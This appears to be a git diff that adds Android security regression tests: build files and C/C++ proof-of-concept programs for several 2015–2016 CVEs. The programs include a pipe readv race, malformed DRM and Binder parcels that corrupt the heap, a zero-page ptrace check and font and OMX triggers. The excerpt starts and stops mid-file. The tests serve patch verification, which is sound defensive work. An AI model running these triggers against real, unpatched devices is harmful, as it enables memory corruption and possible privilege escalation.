+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <../includes/common.h>
+
+volatile char *mem = 0;
+
+// child
+int check_zero_page() {
+ char *temp =
+ (char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ int zeropage = *(int *)temp;
+ munmap(temp, 4096);
+ return zeropage;
+}
+
+// child
+int do_child(int val) {
+ // enable tracing and wait until parent is finished unlocking zero page
+ ptrace(PTRACE_TRACEME, 0, 0, 0);
+ sleep(2);
+
+ mprotect((void *)mem, 4096, PROT_READ | PROT_WRITE);
+
+ // try to corrupt zero page
+ mem[0] = val;
+
+ int zeropage = check_zero_page();
+ return zeropage ? EXIT_VULNERABLE : 0;
+}
+
+// parent
+int do_trace(pid_t child) {
+ int status = 0;
+ sleep(1); // wait until child is set up
+ kill(child, SIGSTOP); // pause child
+ waitpid(child, &status, 0);
+
+ // unlock zero page
+ status = ptrace(PTRACE_PEEKDATA, child, mem, 0);
+
+ // stop tracing so child can continue
+ ptrace(PTRACE_DETACH, child, 0, 0);
+ kill(child, SIGCONT);
+ return status;
+}
+
+int main(void) {
+
+ char value = 0xAA;
+
+ mem = (volatile char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ mprotect((void *)mem, 4096, PROT_NONE);
+
+ pid_t child = fork();
+
+ if (child == 0) {
+ return do_child(value);
+ } else {
+ do_trace(child);
+ }
+
+ int status = 0;
+ waitpid(child, &status, 0); // wait for child to exit naturally
+ int exit = WEXITSTATUS(status); // get child exit status
+
+ munmap((void *)mem, 4096);
+
+ return exit;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
new file mode 100644
index 0000000..6dd41bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2015-1805
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c
new file mode 100644
index 0000000..c80b5ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c
@@ -0,0 +1,112 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+#define BUFS 256
+#define IOV_LEN 16
+#define MAGIC 7
+
+int fd[2];
+struct iovec *iovs = NULL;
+
+void *func_evil(void *data) {
+ munmap((void *)(0x45678000), PAGE_SIZE);
+ mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+ return data;
+}
+
+void *func_readv(void *data) {
+ readv(fd[0], iovs, BUFS);
+ return data;
+}
+
+int main() {
+ int ret = -1, i;
+ void *bufs[BUFS];
+ time_t test_started = start_timer();
+ pthread_t thr_evil, thr_readv;
+
+ if (pipe(fd) < 0) {
+ goto __out;
+ }
+ fcntl(fd[0], F_SETFL, O_NONBLOCK);
+ fcntl(fd[1], F_SETFL, O_NONBLOCK);
+
+ iovs = (struct iovec *)malloc(sizeof(bufs) / sizeof(bufs[0]) *
+ sizeof(struct iovec));
+ if (iovs == NULL) {
+ goto __close_pipe;
+ }
+
+ bufs[MAGIC] = mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+ if (bufs[MAGIC] == MAP_FAILED) {
+ goto __close_pipe;
+ }
+
+ for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
+ if (i == MAGIC) continue;
+ bufs[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+ if (bufs[i] == MAP_FAILED) {
+ goto __free_bufs;
+ }
+
+ iovs[i].iov_base = bufs[i];
+ iovs[i].iov_len = IOV_LEN;
+ }
+
+ iovs[MAGIC - 1].iov_len = IOV_LEN * 10;
+ iovs[MAGIC].iov_base = bufs[MAGIC];
+ iovs[MAGIC].iov_len = IOV_LEN;
+
+ i = 0;
+
+ while (timer_active(test_started)) {
+ write(fd[1], bufs[0], PAGE_SIZE);
+
+ pthread_create(&thr_evil, NULL, func_evil, NULL);
+ pthread_create(&thr_readv, NULL, func_readv, NULL);
+
+ pthread_join(thr_evil, NULL);
+ pthread_join(thr_readv, NULL);
+ }
+
+__free_bufs:
+ for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
+ if (bufs[i]) munmap(bufs[i], PAGE_SIZE);
+ }
+
+__close_pipe:
+ close(fd[0]);
+ close(fd[1]);
+
+__out:
+ return ret;
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.mk
new file mode 100644
index 0000000..3262ca5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.mk
@@ -0,0 +1,34 @@
+#Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2015-3873
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libmedia
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
new file mode 100644
index 0000000..5fc36aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
@@ -0,0 +1,101 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <stdlib.h>
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/stagefright/FileSource.h>
+#include <media/MediaExtractor.h>
+#include <media/IMediaExtractor.h>
+#include <media/DataSourceBase.h>
+#include <media/MediaTrack.h>
+#include <media/stagefright/MetaData.h>
+#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+
+using namespace android;
+#endif /* _64_BIT */
+
+int main(int argc, char **argv) {
+ (void) argc;
+ (void) argv;
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor::GetExtractorDef getDef =
+ (MediaExtractor::GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = new FileSource(argv[1]);
+ if (!dataSource) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ MediaExtractor::CreatorFunc creator = nullptr;
+ MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+ float confidence = 0.0f;
+ creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ MediaExtractor *mp4Extractor = creator(dataSource.get(), meta);
+ if (!mp4Extractor) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ //seek to 10 seconds in the mp4 file
+ int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
+ size_t numTracks = mp4Extractor->countTracks();
+ for(size_t i = 0; i < numTracks; ++i) {
+ MetaDataBase metaDataBase;
+ MediaTrack *mediaTrack = mp4Extractor->getTrack(i);
+ mp4Extractor->getTrackMetaData(metaDataBase, i, MediaExtractor::kIncludeExtensiveMetaData);
+ MediaTrack::ReadOptions options;
+ if (seekTimeUs >= 0) {
+ options.setSeekTo(seekTimeUs, MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
+ }
+ MediaBufferBase *mbuf = nullptr;
+ mediaTrack->start(&metaDataBase);
+ mediaTrack->read(&mbuf, &options);
+ }
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
new file mode 100644
index 0000000..6a0317b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-0811
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ libutils \
+ libmedia \
+ libmediadrm \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
new file mode 100644
index 0000000..b34166f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/ICrypto.h>
+#include <media/IDrm.h>
+#include <media/IMediaDrmService.h>
+
+using namespace android;
+
+template <typename T>
+void mediaPoc(BpInterface<T> *sit) {
+ Parcel data, reply;
+ data.writeInterfaceToken(sit->getInterfaceDescriptor());
+ data.writeInt32(0);
+ data.writeInt32(0);
+ static const uint8_t kDummy[16] = {0};
+ data.write(kDummy, 16);
+ data.write(kDummy, 16);
+ const int wsize = 16 * 1024;
+ sp<MemoryDealer> dealer = new MemoryDealer(wsize);
+ sp<IMemory> memory = dealer->allocate(wsize);
+ data.writeInt32(wsize);
+ data.writeStrongBinder(IInterface::asBinder(memory));
+ const int ss = 0x1;
+ data.writeInt32(0xffffff00);
+ data.writeInt32(ss);
+ CryptoPlugin::SubSample samples[ss];
+ for (int i = 0; i < ss; i++) {
+ samples[i].mNumBytesOfEncryptedData = 0;
+ samples[i].mNumBytesOfClearData = wsize;
+ }
+ data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
+ char out[wsize] = {0};
+ reply.read(out, wsize);
+}
+
+static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
+ 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
+ 0x52, 0xE2, 0xFB, 0x4B};
+
+int main(void) {
+ status_t st;
+ sp<ICrypto> crypto =
+ interface_cast<IMediaDrmService>(
+ defaultServiceManager()->getService(String16("media.drm")))
+ ->makeCrypto();
+
+ sp<IDrm> drm = interface_cast<IMediaDrmService>(
+ defaultServiceManager()->getService(String16("media.drm")))
+ ->makeDrm();
+
+ Vector<uint8_t> sess;
+ st = drm->createPlugin(kClearKeyUUID, (String8) "test");
+ st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
+ st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
+ BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
+ mediaPoc(sit);
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.mk
new file mode 100644
index 0000000..afcbd7c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-10244
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/freetype/include
+LOCAL_SHARED_LIBRARIES := libft2
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_UNDERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
new file mode 100644
index 0000000..e88cad4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdint.h>
+
+#include <ft2build.h>
+#include FT_FREETYPE_H
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ if (size < 1) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+
+ uint8_t *data = new uint8_t[size];
+ if(!data) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+ (void)fread(data, sizeof(uint8_t), size, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ FT_Library ftLib;
+ if(FT_Init_FreeType(&ftLib)) {
+ delete[] data;
+ return EXIT_FAILURE;
+ }
+
+ FT_Face ftFace;
+ FT_New_Memory_Face(ftLib, data, size, -33, &ftFace);
+
+ FT_Done_FreeType(ftLib);
+ delete[] data;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
new file mode 100644
index 0000000..77de47e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2412
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+ libutils
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
new file mode 100644
index 0000000..7e3b067
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
+
+static void writeParcelableHead(Parcel *pData, const char *class_name) {
+ // write key
+ static int count = 1;
+ const int VAL_PARCELABLE = 4;
+ char buffer[16] = {0};
+ snprintf(buffer, 16, "%d", count);
+
+ pData->writeString16(String16((const char *)buffer));
+ pData->writeInt32(VAL_PARCELABLE);
+ pData->writeString16(String16(class_name));
+}
+
+void writeRegion(Parcel *pData) {
+ pData->writeInt32(100); // length of region;
+ pData->writeInt32(
+ 0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
+ pData->writeInt32(0xf); // fBounds
+ pData->writeInt32(0xf); // YSpanCount
+ pData->writeInt32(0xf); // IntervalCount
+
+ char buffer[100];
+ memset(buffer, 0xcc,
+ sizeof(buffer)); // this buffer will be used to corrrupt the heap
+ pData->write(buffer, sizeof(buffer));
+}
+
+static void writeBundle(Parcel *pData, int type) {
+ size_t lengthPos = pData->dataPosition();
+ pData->writeInt32(0xfffff);
+ const int BUNDLE_MAGIC = 0x4C444E42;
+ pData->writeInt32(BUNDLE_MAGIC);
+ size_t startPos = pData->dataPosition();
+
+ if (type == HEAPCORRUPT) {
+ pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
+ writeParcelableHead(pData, "android.graphics.Region");
+ writeRegion(pData);
+ } else { // other than HEAPCORRUPT
+ exit(0);
+ }
+
+ size_t endPos = pData->dataPosition();
+ // Backpatch length
+ pData->setDataPosition(lengthPos);
+ int length = endPos - startPos;
+ pData->writeInt32(length);
+ pData->setDataPosition(endPos);
+}
+
+static void transact(sp<IBinder> &service, TRANTYPE type) {
+ const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.app.IActivityManager"));
+ data.writeStrongBinder(service);
+ data.writeInt32(333);
+ writeBundle(&data, type);
+ service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
+}
+
+int main(__attribute__((unused)) int argc,
+ __attribute__((unused)) char *const argv[]) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("activity"));
+ if (service != NULL) {
+ printf("heap corruption\n");
+ transact(service, HEAPCORRUPT);
+ } else {
+ printf("get activitymanger failed\n");
+ }
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
new file mode 100644
index 0000000..bb7ecac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2482
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := libnativehelper \
+ liblog \
+ libstagefright \
+ libbinder \
+ libutils \
+ libmedia \
+ libmedia_omx \
+ libstagefright_foundation
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
new file mode 100644
index 0000000..7215e00
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
@@ -0,0 +1,151 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "CVE-2016-2482"
+
+#include <OMX_Component.h>
+#include <OMX_Types.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerClient.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <utils/StrongPointer.h>
+
+#define OMX_DirInput 0
+#define OMX_CORE_INPUT_PORT_INDEX 0
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+// decoder
+bool fuzzIOMXSetParameterChangeCount() {
+ const char *name = "OMX.qcom.video.decoder.avc";
+ sp<IMemory> memory;
+ sp<IOMXNode> node = 0;
+ sp<IOMX> mOmx;
+ IOMX::buffer_id bufferId = 0;
+ int outMemSize = 1024;
+ int bufferCnt = 4;
+ int memSize = 49 * outMemSize * bufferCnt;
+
+ OMXClient client;
+ if (client.connect() != OK) {
+ ALOGE("OMXClient connect == NULL");
+ return false;
+ }
+
+ mOmx = client.interface();
+ if (mOmx == NULL) {
+ ALOGE("OMXClient interface mOmx == NULL");
+ client.disconnect();
+ return false;
+ }
+
+ sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+ ALOGE("-----------decode------------");
+ status_t err = mOmx->allocateNode(name, observerDec, &node);
+ if (err != OK) {
+ ALOGE("%s node allocation fails", name);
+ client.disconnect();
+ return false;
+ }
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
+
+ memory = dealerIn->allocate(memSize);
+ if (memory.get() == nullptr) {
+ ALOGE("memory allocation failed , err: %d", err);
+ node->freeNode();
+ client.disconnect();
+ return false;
+ }
+
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+ if (params == NULL) {
+ ALOGE("memory allocation failed , err: %d", err);
+ node->freeNode();
+ client.disconnect();
+ return false;
+ }
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+ params->eDir = (OMX_DIRTYPE)OMX_DirInput;
+
+ params->nBufferCountActual = 1024 * 1024 / 16;
+ params->nBufferSize = 0x31000;
